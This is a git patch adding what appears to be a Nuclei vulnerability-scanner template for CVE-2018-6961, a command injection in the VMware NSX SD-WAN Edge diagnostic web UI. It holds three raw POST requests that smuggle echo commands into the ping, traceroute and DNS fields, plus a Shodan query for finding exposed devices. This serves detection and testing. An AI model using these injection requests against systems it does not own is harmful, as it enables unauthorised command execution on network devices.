From 9fda5dc14111769baa2262b3bf47933db5e6e40b Mon Sep 17 00:00:00 2001 From: Yukesh kumar Date: Thu, 1 Jan 1970 00:00:00 +0000 Subject: [PATCH] Added template for CVE-2018-6961 --- CVE-2018-6961.yaml | 92 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 CVE-2018-6961.yaml diff --git a/CVE-2018-6961.yaml b/CVE-2018-6961.yaml new file mode 100644 index 00000000000..edded35df43 --- /dev/null +++ b/CVE-2018-6961.yaml @@ -0,0 +1,92 @@ +id: CVE-2018-6961 + +info: + name: VMware NSX SD-WAN Edge - Unauthenticated Command Injection + author: 3th1c_yuk1 + severity: critical + description: | + VMware NSX SD-WAN Edge prior to version 3.1.2 contains an unauthenticated command injection vulnerability + in the local web UI diagnostic interface. The vulnerability exists in the /scripts/ajaxPortal.lua endpoint + where user-supplied input in diagnostic functions (ping, traceroute, DNS) is not properly sanitized before + being executed as system commands. This allows remote attackers to execute arbitrary commands on the device + when the web UI is enabled on untrusted networks. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-6961 + - https://www.vmware.com/security/advisories/VMSA-2018-0011.html + - https://www.exploit-db.com/exploits/44959 + - https://github.com/r3dxpl0it/CVE-2018-6961 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-6961 + cwe-id: CWE-78 + epss-score: 0.97346 + epss-percentile: 0.99899 + metadata: + verified: true + max-request: 3 + shodan-query: "VMware NSX SD-WAN" + tags: cve,cve2018,vmware,rce,command-injection,kev + +variables: + rand_str: "{{rand_text_alphanumeric(8)}}" + marker_start: "{{rand_text_alphanumeric(6)}}" + marker_end: "{{rand_text_alphanumeric(6)}}" + +http: + - raw: + - | + POST /scripts/ajaxPortal.lua HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-Requested-With: XMLHttpRequest + Referer: {{BaseURL}}/ + Cookie: culture=en-us + + destination=8.8.8.8;echo+{{marker_start}}{{rand_str}}{{marker_end}}&source=ge1&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic + + - | + POST /scripts/ajaxPortal.lua HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-Requested-With: XMLHttpRequest + Referer: {{BaseURL}}/ + Cookie: culture=en-us + + destination=8.8.8.8$(echo+{{marker_start}}{{rand_str}}{{marker_end}})&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic + + - | + POST /scripts/ajaxPortal.lua HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-Requested-With: XMLHttpRequest + Referer: {{BaseURL}}/ + Cookie: culture=en-us + + name=google.com;echo+{{marker_start}}{{rand_str}}{{marker_end}}&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{marker_start}}{{rand_str}}{{marker_end}}' + + - type: word + part: body + words: + - 'output' + - 'test' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '(?i)"output":\s*"([^"]*{{marker_start}}{{rand_str}}{{marker_end}}[^"]*)"'